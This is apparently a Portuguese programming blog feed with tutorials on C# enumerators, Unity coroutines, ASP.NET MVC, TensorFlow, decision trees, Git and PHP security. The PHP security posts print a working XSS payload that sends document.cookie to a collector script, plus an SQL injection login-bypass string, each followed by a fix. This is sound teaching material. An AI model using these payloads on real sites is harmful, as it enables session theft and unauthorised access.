<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-17QN1gOtN2wN9dPFQSuo-2w_EfhY7os20T68AjPOfDp2rNXjbp0g6tICn4wyD-JXB4pbCqCmAHKfgOpDbV_n1byXCt3l3-YV2afaQKh7ui_gVuk_2JwU9UxIeP82vNGzlSyN5Ox7paGP/s1600/Current.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="288" data-original-width="478" height="192" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-17QN1gOtN2wN9dPFQSuo-2w_EfhY7os20T68AjPOfDp2rNXjbp0g6tICn4wyD-JXB4pbCqCmAHKfgOpDbV_n1byXCt3l3-YV2afaQKh7ui_gVuk_2JwU9UxIeP82vNGzlSyN5Ox7paGP/s320/Current.jpg" width="320" /></a></div>
A função MoveNext, no nosso caso, avança para o próximo elemento, se não existir devolve false.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMyrTfIWbvbR2CDJP22obApyx1c_y_b4-_AknuStYXGOfGvkW4SJiRz-aD5QHqWzYU8ZGix_Kkl4Dc3zRqn3tUFKF-cQvOT6vz8-vito7uvEeX1pZoRZBT7x8uo31ngwkMCrsqGSZIbjLD/s1600/movenext.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="223" data-original-width="365" height="195" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMyrTfIWbvbR2CDJP22obApyx1c_y_b4-_AknuStYXGOfGvkW4SJiRz-aD5QHqWzYU8ZGix_Kkl4Dc3zRqn3tUFKF-cQvOT6vz8-vito7uvEeX1pZoRZBT7x8uo31ngwkMCrsqGSZIbjLD/s320/movenext.jpg" width="320" /></a></div>
<br />
A função Reset, coloca a posição de novo em -1.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDUjI7WbcUFyZW85qXTQDqfNIVQ7LEzH0zBMItoKAdvEK5WigBDYeSGaOUtJfVgBDvAlgMxbkOgPmeNUa7dtHBW3YXeQCZmI225P3gr-5DD4f35Mrp30Rimx8LSupxuRXWGrAdDRJs3_W-/s1600/reset.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="108" data-original-width="334" height="103" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDUjI7WbcUFyZW85qXTQDqfNIVQ7LEzH0zBMItoKAdvEK5WigBDYeSGaOUtJfVgBDvAlgMxbkOgPmeNUa7dtHBW3YXeQCZmI225P3gr-5DD4f35Mrp30Rimx8LSupxuRXWGrAdDRJs3_W-/s320/reset.png" width="320" /></a></div>
<br />
Na função main utilizamos a classe assim:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvdG1_d1flOkIjn273ci1NoDTUs78HTcFQ0tt9ShBrEO5wjy5-3pdDEC015vnd0vJFYU3O54o3RvkKTHcfyCsGObitCvLUj_ChWwiwho0-D9ctyCLl1ZepULcCvqPdTy0yaCzA-fkC6Huf/s1600/main.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="239" data-original-width="460" height="166" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvdG1_d1flOkIjn273ci1NoDTUs78HTcFQ0tt9ShBrEO5wjy5-3pdDEC015vnd0vJFYU3O54o3RvkKTHcfyCsGObitCvLUj_ChWwiwho0-D9ctyCLl1ZepULcCvqPdTy0yaCzA-fkC6Huf/s320/main.jpg" width="320" /></a></div>
Repare que listOfClients é um objeto e no entanto é utilizado no ciclo foreach para percorrer os clientes utilizando a nossa classe ListOfClientEnum.<br />
<br />
<a href="https://github.com/alunosnet/IEnumeratorIEnumerableTutorial" target="_blank">Url para o projecto completo</a>Paulo Ferreira "O Prof..."http://www.blogger.com/profile/14402544521476818760noreply@blogger.com0tag:blogger.com,1999:blog-1980868650914217222.post-68752256952812187242018-10-28T10:30:00.002-07:002018-10-28T10:30:49.242-07:00Coroutinas em Unity 3D Parte IIAs coroutines são funções úteis para implementar tarefas que devem ocorrer ao longo de várias frames.<br />
<br />
Neste posto vamos ver como animar a camera de um ponto inicial para outro ponto final com uma determinada duração em segundos. A duração da animação é armazenada numa variável para que possa ser facilmente ajustada.<br />
<br />
A função é executada quando o utilizador premir a barrar de espaços.<br />
<br />
void Update () {<br />
if (Input.GetKeyDown(KeyCode.Space))<br />
{<br />
if(func!=null)<br />
StopCoroutine(func);<br />
func = StartCoroutine(smoothMoveCamera());<br />
}<br />
}<br />
<br />
Precisamos de algumas variáveis:<br />
public float duration = 2.0f;<br />
public float xStart = -5.0f;<br />
public float xFinish = 5.0f;<br />
Coroutine func;<br />
<br />
A primeira define a duração em segundas da animação. A segunda o ponto inicial e a terceira o ponto final, ao longo do eixo dos x.<br />
Por temos uma referência para a coroutina para que seja possível parar a sua execução, se necessário.<br />
<br />
O código da coroutina:<br />
IEnumerator smoothMoveCamera()<br />
{<br />
float speed = 1 / duration;<br />
float percent = 0;<br />
while (true)<br />
{<br />
percent += speed*Time.deltaTime;<br />
transform.position = new Vector3(Mathf.Lerp(xStart, xFinish, percent),1,-10);<br />
yield return null;<br />
if (percent >= 1) break;<br />
}<br />
}<br />
<br />
Começamos por calcular a velocidade da animação, por segundo, dividindo 1 pela duração da animação. Esta velocidade é, dentro do ciclo, multiplicada pelo deltaTime para ajustar em função do tempo que demorou a desenhar a última frame.<br />
Depois calculamos a nova posição usando a função Lerp com base na percentagem do tempo da animação que já está concluída e interpolando entre o ponto inicial e final.<br />
Depois da nova posição ser definida devolvemos a execução ao Unity, com o método yield, para que possa fazer o render da frame. Depois testamos se a animação já terminou e nesse caso saímos do ciclo.Paulo Ferreira "O Prof..."http://www.blogger.com/profile/14402544521476818760noreply@blogger.com0tag:blogger.com,1999:blog-1980868650914217222.post-76767166266702651222018-09-12T14:28:00.000-07:002018-09-12T14:28:01.789-07:00Coroutines em Unity3dCoroutines são funções que mantém o estado enquanto devolvem a execução do código ao método que as chamou.<br />
<br />
São úteis para o desenvolvimento de jogos para permitir a execução de determinado código ao longo de várias frames.<br />
<br />
Por exemplo para animar a câmara do jogo podíamos executar o seguinte código:<br />
<br />
for(int i=0;i<100;i++){<br />
transform.position += new Vector3(1, 0,0);<br />
}<br />
<br />
Se este código estiver dentro de uma função que é executada normalmente não é possível ver a câmara a mover-se ao longo do eixo dos X uma vez que a atualização do cenário do jogo só ocorre no final do ciclo e não ao longo da execução deste.<br />
<br />
Para que seja possível ver o movimento da câmara é necessário executar um iteração do ciclo e depois atualizar a cena (fazer o render) e depois continuar a execução do ciclo com mais uma iteração e volta a atualizar a cena, neste caso o que se pretende é interromper a execução e retomar sem que se perca o estado, para isso pode-se implementar uma coroutine.<br />
<br />
Uma coroutine não é mais do que um IEnumerator em C#, a seguinte função executa um ciclo com 100 iterações e em cada iteração a câmara move-se um valor ao longo do eixo dos X e depois interrompe a execução por 0,1 segundos. A execução continua com a atualização da variável do ciclo e mais uma iteração.<br />
<br />
IEnumerator animaCameraPrincipal()<br />
{<br />
for(int i = 0; i < 100; i++) {<br />
transform.position += new Vector3(1, 0,0);<br />
yield return new WaitForSecondsRealtime(0.1f);<br />
}<br />
}<br />
<br />
Esta função é executada assim:<br />
<br />
StartCoroutine(animaCameraPrincipal());<br />
<br />
É muito importante não esquecer que como esta função é executada ao longo do tempo não deve ser chamada antes da sua execução estar concluída. Neste caso a execução total do código da função dura 10 segundos (0,1 x 100 = 10).<br />
<br />
A coroutine pode ser parada de duas formas:<br />
- parando todas as coroutines: StopAllCoroutines();<br />
- parando só esta e para isso tempos de guardar uma referência para a coroutine, assim, Coroutine funcao=StartCoroutine(animaCameraPrincipal()); e depois parando assim, StopCoroutine(funcao);<br />
<br />
<br />
<br />Paulo Ferreira "O Prof..."http://www.blogger.com/profile/14402544521476818760noreply@blogger.com0tag:blogger.com,1999:blog-1980868650914217222.post-24329287715662056002018-02-20T03:58:00.001-08:002018-02-20T03:58:47.390-08:00ASP.NET MVC com Entity, Identity e Migrações Parte 3 - Upload de ficheirosNa terceira parte deste tutorial vamos adicionar dois controllers e dois models com a possibilidade de fazer o upload de ficheiros para o nosso site.<br />
<br />
O model Room é muito simples:<br />
<br />
public class Room {<br />
[Key]<br />
public int nr { get; set; }<br />
<br />
[Required(ErrorMessage = "Deve indicar o piso do quarto")]<br />
public int piso { get; set; }<br />
<br />
[Required(ErrorMessage = "Deve indicar a lotação")]<br />
public int lotacao { get; set; }<br />
<br />
[Required(ErrorMessage = "Deve indicar o estado do quarto")]<br />
public bool estado { get; set; }<br />
<br />
[DataType(DataType.Currency)]<br />
[Required(ErrorMessage = "Deve indicar o preço por dia do quarto")]<br />
public decimal custo_dia { get; set; }<br />
}<br />
<br />
Agora basta adicionar o controller com a Entity framework.<br />
<br />
O Client model:<br />
<br />
public class Client {<br />
[Key]<br />
public int ClientId { get; set; }<br />
<br />
[Required(ErrorMessage = "Tem de indicar o nome do cliente")]<br />
[StringLength(50)]<br />
[MinLength(5, ErrorMessage = "O nome é muito pequeno")]<br />
public string nome { get; set; }<br />
<br />
[Required(ErrorMessage = "Tem de indicar a morada do cliente")]<br />
[StringLength(50)]<br />
[MinLength(5, ErrorMessage = "Morada muito pequena")]<br />
public string morada { get; set; }<br />
<br />
[Required(ErrorMessage = "Tem de indicar o código postal do cliente")]<br />
[StringLength(8)]<br />
[MinLength(7, ErrorMessage = "O código postal é muito pequeno")]<br />
[Display(Name = "Código Postal")]<br />
public string cp { get; set; }<br />
<br />
[DataType(DataType.EmailAddress)]<br />
public string email { get; set; }<br />
<br />
public string telefone { get; set; }<br />
<br />
[DataType(DataType.Date)]<br />
[Display(Name = "Data de Nascimento")]<br />
[Required(ErrorMessage = "Tem de indicar a data de nascimento do cliente")]<br />
public DateTime data_nascimento { get; set; }<br />
}<br />
<br />
Mais uma vez utilizamos a Entity framework para adicionar o controller:<br />
<br />
Para fazer o upload dos ficheiros precisamos de alterar a view create dos clientes assim:<br />
<br />
<div class="form-group"><br />
<input type="file" name="fotografia" id="fotografia" class="form-control" /><br /><br />
</div><br />
<br />
O web form também tem de ser alterado:<br />
<br />
@using (Html.BeginForm("Create", "Clients", FormMethod.Post, new { enctype = "multipart/form-data" }))<br />
<div>
<br /></div>
<div>
Precisamos do multipart encoding para fazer o upload do ficheiro.</div>
<div>
<br /></div>
<div>
Para terminar temos de alterar a função que recebe o formulário quando é submetido:</div>
<div>
<br /></div>
<div>
<div>
public ActionResult Create([Bind(Include = "ClientId,nome,morada,cp,email,telefone,data_nascimento")] Client client)</div>
<div>
{</div>
<div>
if (ModelState.IsValid)</div>
<div>
{</div>
<div>
db.Clients.Add(client);</div>
<div>
db.SaveChanges();</div>
<div>
//save the file</div>
<div>
HttpPostedFileBase fotografia = Request.Files["fotografia"];</div>
<div>
if (fotografia != null) {</div>
<div>
string imagem = Server.MapPath("~/Images/") + client.ClientId.ToString() + ".jpg";</div>
<div>
fotografia.SaveAs(imagem);</div>
<div>
}</div>
<div>
return RedirectToAction("Index");</div>
<div>
}</div>
<div>
<br /></div>
<div>
return View(client);</div>
<div>
}</div>
</div>
<div>
<br /></div>
<div>
Não podemos nos esquecer de criar a pasta Images.</div>
<div>
<br /></div>
<div>
Para podermos ver as imagens enviadas temos de alterar a view index, adicionando uma coluna assim:</div>
<div>
<br /></div>
<div>
<div>
<td></div>
<div>
<img src="@Url.Content(String.Format("~/Images/{0}.jpg",item.ClientId))" width="100" /></div>
<div>
</td></div>
</div>
<div>
<br /></div>
<div>
Isto tudo está disponível no Youtube</div>
<div class="separator" style="clear: both; text-align: center;">
<iframe width="320" height="266" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/mIqQsSBYABs/0.jpg" src="https://www.youtube.com/embed/mIqQsSBYABs?feature=player_embedded" frameborder="0" allowfullscreen></iframe></div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<iframe width="320" height="266" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/oVuv-CmtT-s/0.jpg" src="https://www.youtube.com/embed/oVuv-CmtT-s?feature=player_embedded" frameborder="0" allowfullscreen></iframe></div>
<div>
<br /></div>
<div>
E <a href="https://github.com/pcworldgamer/MVC_5" target="_blank">GitHub</a></div>
PcWorldGamerhttp://www.blogger.com/profile/02651130132387232965noreply@blogger.com0tag:blogger.com,1999:blog-1980868650914217222.post-19007794455200084562018-02-18T02:50:00.002-08:002018-02-18T02:50:35.628-08:00TensorFlow Variáveis e placeholdersNeste tutorial vamos introduzir dois novos tipos de nós: variáveis e placeholders.<br />
<br />
Depois de importarmos o tensorflow:<br />
<br />
import tensorflow as tf<br />
<div>
<br /></div>
<div>
Iniciamos a sessão, mas antes fazemos o reset ao estado interno:</div>
<div>
<br /></div>
<div>
<div>
tf.reset_default_graph()</div>
<div>
sess=tf.Session()</div>
</div>
<div>
<br /></div>
<div>
Agora podemos criar duas variáveis:</div>
<div>
<br /></div>
<div>
<div>
x = tf.Variable(2.0,tf.float32)</div>
<div>
y = tf.Variable(3.0,tf.float32)</div>
</div>
<div>
<br /></div>
<div>
Sempre que se utilizam variáveis numa sessão tensorflow é necessário inicializa-las:</div>
<div>
<br /></div>
<div>
<div>
init = tf.global_variables_initializer()</div>
<div>
sess.run(init)</div>
</div>
<div>
<br /></div>
<div>
Agora podemos definir a expressão matemática a utilizar:</div>
<div>
<br /></div>
<div>
<div>
sumnodes = x + y</div>
</div>
<div>
<br /></div>
<div>
Agora podemos calcular o resultado da expressão:</div>
<div>
<br /></div>
<div>
<div>
print(sess.run(sumnodes))</div>
</div>
<div>
<br /></div>
<div>
Para alterarmos os valores das variáveis devemos utilizar a função assign:</div>
<div>
<br /></div>
<div>
<div>
sess.run(x.assign(5.0))</div>
</div>
<div>
<br /></div>
<div>
Como sempre temos de executar dentro da sessão. Podemos associar esta operação a uma referência o que permite executar várias operações em simultâneo:</div>
<div>
<br /></div>
<div>
<div>
NewX = x.assign(5.0)</div>
<div>
NewY = y.assign(10.0)</div>
<div>
<br /></div>
<div>
sess.run([NewX,NewY])</div>
<div>
<br /></div>
<div>
Agora, se avaliarmos a expressão o resultado é diferente:</div>
<div>
<br /></div>
<div>
print(sess.run(sumnodes))</div>
</div>
<div>
<br /></div>
<div>
Os placeholders têm um comportamento diferente, pois permite mudar o valor quando a expressão é avaliada, podendo ser definido um conjunto de valores (array) que fazem com que o TensorFlow avalie a expressão para cada um de eles.</div>
<div>
<br /></div>
<div>
Assim, criamos um placeholder:</div>
<div>
<br /></div>
<div>
a = tf.placeholder(tf.float32)</div>
<div>
<br /></div>
<div>
Como se pode ver não tem nenhum valor atribuído. De seguida alteramos a nossa expressão para:</div>
<div>
<br /></div>
<div>
sumnodes = x*a + y</div>
<div>
<br /></div>
<div>
Para avaliar a expressão fazemos:</div>
<div>
<br /></div>
<div>
<div>
print(sess.run(sumnodes,{a: 10}))</div>
</div>
<div>
<br /></div>
<div>
O parâmetro que é passado define o valor do placeholder. Também podemos fazer assim:</div>
<div>
<br /></div>
<div>
<div>
print(sess.run(sumnodes,{a: range(10)}))</div>
</div>
<div>
<br /></div>
<div>
ou assim:</div>
<div>
<br /></div>
<div>
<div>
print(sess.run(sumnodes,{a: [2,5,8,11]}))</div>
</div>
<div>
<br /></div>
<div>
Ao trabalharmos com variáveis e placeholders é muito importante não esquecer de fechar a sessão:</div>
<div>
<br /></div>
<div>
sess.close()</div>
<div>
<br /></div>
<div>
O vídeo no youtube</div>
<div class="separator" style="clear: both; text-align: center;">
<iframe width="320" height="266" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/r6HQ0HNcdys/0.jpg" src="https://www.youtube.com/embed/r6HQ0HNcdys?feature=player_embedded" frameborder="0" allowfullscreen></iframe></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
O codigo no <a href="https://github.com/pcworldgamer/Tensorflow_intro_part2" target="_blank">Github</a></div>
PcWorldGamerhttp://www.blogger.com/profile/02651130132387232965noreply@blogger.com0tag:blogger.com,1999:blog-1980868650914217222.post-42848163168995842262018-02-12T10:15:00.000-08:002018-02-12T10:15:14.280-08:00Introdução ao TensorFlow - Parte 1Segundo a Google o TensorFlow é uma framework the software aberto que permite para a computação numérica.<br />
<br />
No TensorFlow cada nó pode ser uma constante, uma variável ou uma expressão matemática que utiliza variáveis e/ou constantes.<br />
<br />
Estes nós pode ser executados no CPU ou no GPU tirando partido de dispositivos multicore.<br />
<br />
Começamos por importar a framework:<br />
<br />
import tensorflow as tf<br />
<br />
Para criar uma constante fazemos:<br />
<br />
node1 = tf.constant(3.0)<br />
<br />
ou<br />
<br />
node2 = tf.constant(4.0, dtype=tf.float32)<br />
<br />
A primeira linha permite ao TensorFlow decidir qual o tipo de dados a aplicar à variável.<br />
<br />
Depois temos de iniciar uma sessão TensorFlow assim:<br />
<br />
sess = tf.Session()<br />
<br />
Para ver o tipo de nó podemos utilizar:<br />
<br />
print(node1,node2)<br />
<br />
Para avaliar o nó, recebendo o valor que ele contém:<br />
<br />
print(sess.run([node1,node2]))<br />
<br />
Podemos criar uma função matemática que calcular a soma das duas constantes:<br />
<br />
sumnodes = tf.add(node1,node2)<br />
<br />
Para obter o resultado:<br />
<br />
print(sess.run(sumnodes))<br />
<br />
Vídeo no Youtube:<br />
<div class="separator" style="clear: both; text-align: center;">
<iframe width="320" height="266" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/RORkR9D3Y6c/0.jpg" src="https://www.youtube.com/embed/RORkR9D3Y6c?feature=player_embedded" frameborder="0" allowfullscreen></iframe></div>
<br />
<br />
Código no <a href="https://github.com/pcworldgamer/Tensorflow_intro_part1" target="_blank">GitHub</a><br />
<br />
Como instalar o TensorFlow no Windows com Anaconda:<br />
<div class="separator" style="clear: both; text-align: center;">
<iframe width="320" height="266" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/G2GqLWOERjQ/0.jpg" src="https://www.youtube.com/embed/G2GqLWOERjQ?feature=player_embedded" frameborder="0" allowfullscreen></iframe></div>
<br />PcWorldGamerhttp://www.blogger.com/profile/02651130132387232965noreply@blogger.com0tag:blogger.com,1999:blog-1980868650914217222.post-56329867074864070002018-02-12T07:16:00.000-08:002018-02-12T07:16:29.608-08:00ASP.NET MVC com Entity, Identity e Migrações Parte 2 - Dropdown listNa segunda parte do tutorial sobre MVC vamos adicionar uma dropdown list que permitirá escolher o perfil do utilizador.<br />
<br />
No User model temos de adicionar um campo do tipo interface que servirá para passar à view a lista de opções:<br />
<br />
public IEnumerable<System.Web.Mvc.SelectListItem> perfis { get; set; }<br />
<div>
<br /></div>
<div>
No controlador temos de editar as funções Create e Edit para preencher a interface com um vetor com as opções de perfis. O código é qualquer coisa assim:<br />
<br />
// GET: Users/Create<br />
public ActionResult Create()<br />
{<br />
//perfis options for the dropdownlist<br />
var user = new User();<br />
user.perfis = new[] {<br />
new SelectListItem{Value="0",Text="Admin"},<br />
new SelectListItem{Value="1",Text="User"},<br />
};<br />
return View(user);<br />
}<br />
<br />
Agora as Views. Apagamos a linha que cria a text box e adicionamos uma linha para gerar a drop down list:<br />
<br />
@Html.DropDownListFor( model=>model.perfil,new SelectList(Model.perfis,"Value","Text"))<br />
<br />
Vídeo no youtube<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<iframe width="320" height="266" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/QqJPlZvrZ18/0.jpg" src="https://www.youtube.com/embed/QqJPlZvrZ18?feature=player_embedded" frameborder="0" allowfullscreen></iframe></div>
<br />
<br />
Código no <a href="https://github.com/pcworldgamer/MVC_5" target="_blank">GitHub</a><br />
<br /></div>
PcWorldGamerhttp://www.blogger.com/profile/02651130132387232965noreply@blogger.com0tag:blogger.com,1999:blog-1980868650914217222.post-21299972940225499622018-02-06T09:08:00.001-08:002018-02-06T09:08:03.570-08:00ASP.NET MVC com Entity, Identity e MigrationsEste tutorial explora o MVC da Microsoft com as frameworks Entity, Identity e migrações para a manipulação da base de dados.<br />
<br />
A framework Entity é o que normalmente se apelida de um ORM (Object-Relational Mapping) basicamente é uma forma de armazenar dados de um objecto numa base de dados relacional sem utilizar SQL.<br />
<br />
A framework Identity é responsável por gerir as credenciais do utilizador e as permissões de acesso, permitindo que cada utilizar tenha diferentes perfis.<br />
<br />
A base de dados é criada com recurso às migrações (método code first), começando por criar uma classe que representa os dados em memória as migrações geram a correspondente tabela na base de dados.<br />
<br />
O vídeo com o tutorial<br />
<div class="separator" style="clear: both; text-align: center;">
<iframe width="320" height="266" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/RNSsLA5ZFng/0.jpg" src="https://www.youtube.com/embed/RNSsLA5ZFng?feature=player_embedded" frameborder="0" allowfullscreen></iframe></div>
<br />
<br />
O código no <a href="https://github.com/pcworldgamer/MVC_5" target="_blank">GitHub</a>PcWorldGamerhttp://www.blogger.com/profile/02651130132387232965noreply@blogger.com0tag:blogger.com,1999:blog-1980868650914217222.post-40041830232845438092018-01-26T08:17:00.003-08:002018-01-26T08:24:41.941-08:00Decision TreesNeste artigo criamos uma árvore de decisão para classificar o género de pessoas com base na sua altura, peso e tamanho do calçado.<br />
<br />
Para começar importamos da framework sklearn a class tree.<br />
<br />
from sklearn import tree<br />
<br />
De seguida criamos um vetor X com os valores que permitem criar uma tendência.<br />
<br />
X=[[181,80,44],[177,70,43],[160,60,38],[154,54,37],[166,65,40],[190,90,47],[175,64,39],[177,70,40],[159,55,37],<br />
<span style="white-space: pre;"> </span>[171,75,42],[181,85,43]]<br />
<div>
<br /></div>
<div>
A estes valores temos de juntar a classificação de cada elemento, por isso criamos o vetor Y.</div>
<div>
<br /></div>
<div>
<div>
Y=['male','female','female','female','male','male','male','female','male',</div>
<div>
<span style="white-space: pre;"> </span>'female','male']</div>
</div>
<div>
<br /></div>
<div>
Agora podemos criar um objeto do tipo DecisionTreeClassifier.</div>
<div>
<br /></div>
<div>
clf=tree.DecisionTreeClassifier()</div>
<div>
<br /></div>
<div>
Inserimos os valores e as classificações.</div>
<div>
<br /></div>
<div>
clf=clf.fit(X,Y)</div>
<div>
<br /></div>
<div>
Por fim podemos fazer uma previsão com base num exemplo novo.</div>
<div>
<br /></div>
<div>
<div>
prediction=clf.predict([[160,50,33]])</div>
<div>
<br /></div>
<div>
print(prediction)</div>
</div>
<div>
<br /></div>
<div>
Basta alterar os valores para obter uma classificação diferente.</div>
<div>
<br /></div>
<div>
<a href="https://github.com/pcworldgamer/DecisionTree" target="_blank">Código no gitHub</a></div>
<div>
<br /></div>
<div>
Vídeo no YouTube</div>
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/Qs0DHnRZclU/0.jpg" frameborder="0" height="266" src="https://www.youtube.com/embed/Qs0DHnRZclU?feature=player_embedded" width="320"></iframe></div>
<div>
<br /></div>
PcWorldGamerhttp://www.blogger.com/profile/02651130132387232965noreply@blogger.com0tag:blogger.com,1999:blog-1980868650914217222.post-90437105119851030032018-01-04T01:04:00.001-08:002018-01-04T01:12:02.650-08:00Instalar TensorFlow no Windows 10 com AnacondaEste vídeo mostra como instalar o TensorFlow no Windows utilizando o Anaconda sem utilizar a linha de comandos.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/G2GqLWOERjQ/0.jpg" frameborder="0" height="266" src="https://www.youtube.com/embed/G2GqLWOERjQ?feature=player_embedded" width="320"></iframe></div>
<br />
<br />
Começa por abrir a ferramenta Anaconda Navigator e criar um Environment (Ambiente).<br />
<br />
Agora, com o ambiente criado selecionado, pesquise pelo TensorFlow e clique em install.<br />
<br />
De seguida instalamos o editor de código Spyder.<br />
<br />
Por fim podemos atualizar a versão do TensorFlow com o comando:<br />
<br />
conda install -c conda-forge tensorflow<br />
<br />
Muito importante, devemos sempre executar o spyder através da linha de comandos deste ambiente, de outro modo o package do TensorFlow não está disponível.PcWorldGamerhttp://www.blogger.com/profile/02651130132387232965noreply@blogger.com0tag:blogger.com,1999:blog-1980868650914217222.post-87966985322185334762017-06-24T15:06:00.000-07:002017-06-24T15:06:17.600-07:00Git com Visual StudioGit é um sistema de controlo de versões (VCS) criado por Linus Torvalds em 2005. Com o Git é possível controlar as alterações que são feitas em cada ficheiro ao longo do tempo, permitindo também coordenar as alterações entre diferentes elementos de uma equipa.<br />
<br />
É um sistema mais utilizado na produção de software, mas pode ser utilizador para manter um registo das alterações ocorridas em qualquer ficheiro.<br />
<br />
Cada utilizador mantém um repositório dos ficheiros a controlar localmente, na sua máquina, e de cada vez que pretender registar as alterações executa um comando denominado de push.<br />
As alterações locais podem, posteriormente, ser enviadas para um servidor, onde todas as alterações são registadas, esta operação é executada com o comando commit.<br />
<br />
Sendo uma ferramenta originalmente desenvolvida para Linux todos os seus comandos são executados através da linha de comando. No entanto, estes comandos podem ser executados através de interfaces gráficas que simplificam a sua utilização.<br />
<br />
O Visual Studio integra uma ferramenta que permite tirar partido deste sistema, independentemente do servidor escolhido para fazer o controlo das versões. É possível utilizar um serviço da própria Microsoft, o GitHub ou qualquer outro servidor que suporte os comandos Git, como por exemplo o BitBucket.<br />
<br />
O Git pode ser integrado no projeto desde a sua criação no Visual Studio, para isso basta selecionar a opção Create new Git repository.<br />
<div>
<br /></div>
Paulo Ferreira "O Prof..."http://www.blogger.com/profile/14402544521476818760noreply@blogger.com0tag:blogger.com,1999:blog-1980868650914217222.post-2461809982906380402017-01-02T04:08:00.000-08:002017-01-02T04:08:20.120-08:00Segurança em páginas PHP - Parte 2Na segunda parte desta série de artigos vamos explorar uma página de mensagens, ao estilo de um forum, para fazer um ataque de session hijacking.<br />
<br />
Primeiro o código da página é o seguinte:<br />
<hr />
<script src="https://bitbucket.org/alunosnet/secure_php/src/7e64a5f3032f916ef0d7b2a905a5512aebb14dbd/mensagens.php?embed=t"></script>
<br />
<hr />
Agora o problema: o input da página não é verificado para a existência de carateres potencialmente perigosos, assim a página permite a execução de javascript.<br />
<br />
Para além de pequenas brinqueiras que podem ser tentadas como abrir popups ou redirecionar o browser para outras páginas, a página é vulnerável a outro tipo de ataque que permite capturar o cookie de sessão e envia-lo para outro servidor. Será este o tipo de ataque que vamos demonstrar aqui.<br />
<br />
Com o seguinte código inserido na input box para a mensagem vamos fazer com o que browser tente abrir um imagem, que na realidade é um script PHP que vai resgatar o cookie de sessão:<br />
<br />
<script>document.write('<img src="http://localhost:8088/login/submitcookie.php?cookie='+escape(document.cookie)+'"/>');</script><br />
<br />
O código PHP que vai capturar o cookie é o seguinte:<br />
<hr />
<script src="https://bitbucket.org/alunosnet/secure_php/src/9347c4d24699cfeea1a9912847c7e01d4b6e0036/submitcookie.php?embed=t"></script>
<br />
<hr />
Neste caso o código vai criar um ficheiro de texto com o valor do cookie, permitindo a sessão atual do utilizador possa ser capturada bastando para isso injetar esse cookie no browser do atacante.<br />
<br />
Para tornar a página segura é necessário validar o input, para isso podemos criar uma função:<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>function test_input($data) {<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$data = trim($data);<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$data = stripslashes($data);<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$data = htmlspecialchars($data);<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>return $data;<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>}<br />
<div style="text-align: right;">
(código retirado de www.w3schools.com)</div>
<br />
Claro que também deviamos utilizar parâmetros em vez de strings concatenadas para o código SQL.<br />
<hr />
<script src="https://bitbucket.org/alunosnet/secure_php/src/675991e25523ec09210dc9212b08985c5a11c134/mensagens2.php?embed=t"></script>
<br />
<hr />
<br />Paulo Ferreira "O Prof..."http://www.blogger.com/profile/14402544521476818760noreply@blogger.com0tag:blogger.com,1999:blog-1980868650914217222.post-30100559862903010102016-12-27T15:38:00.001-08:002016-12-27T15:41:53.266-08:00Segurança em páginas PHPUma preocupação que deve estar presente em todos os programadores Web é a segurança dos seus produtos.<br />
<br />
Com este artigo iniciamos uma série de posts em que vamos explorar alguns problemas básicos de segurança relacionados com a injeção de instruções SQL em formulários web ou parâmetros da URL.<br />
<br />
Serão apresentados exemplos de código com problemas de segurança e de como os evitar.<br />
<br />
Então vamos começar por um simples formulário para login implementado com o seguinte código:<br />
<br />
<hr />
<br />
<script src="https://bitbucket.org/alunosnet/secure_php/src/3b6e3371c4764a2f2ee0218a38826bc8aa875c1c/login.php?embed=t"></script>
<br />
<hr />
Neste exemplo o código verifica se foi devolvido mais do que um registo da base de dados, assumindo assim que as credenciais fornecidas estão corretas.<br />
<div>
<br /></div>
<div>
O maior erro envolve a concatenação dos valores recebidos do formulário com a instrução SQL, permitindo, por isso, que o utilizador manipule a instrução ao seu belo prazer.</div>
<div>
<br /></div>
<div>
Independentemente do nome de utilizador inserido basta escrever na palavra passe o seguinte texto para se optar a indicação de que o login foi concluído com sucesso: o' or 1=1 #</div>
<div>
<br /></div>
<div>
Com este texto a instrução SQL vai devolver sempre um registo pois 1 é igual a 1. O # no final permite ignorar o resto da instrução pois é o simbolo para comentários em MySQL.</div>
<div>
<br /></div>
<div>
A solução para este problema passa por utilizar parâmetros, preparando a instrução antes de a executar. Assim o seguinte código resolve este problema:</div>
<div>
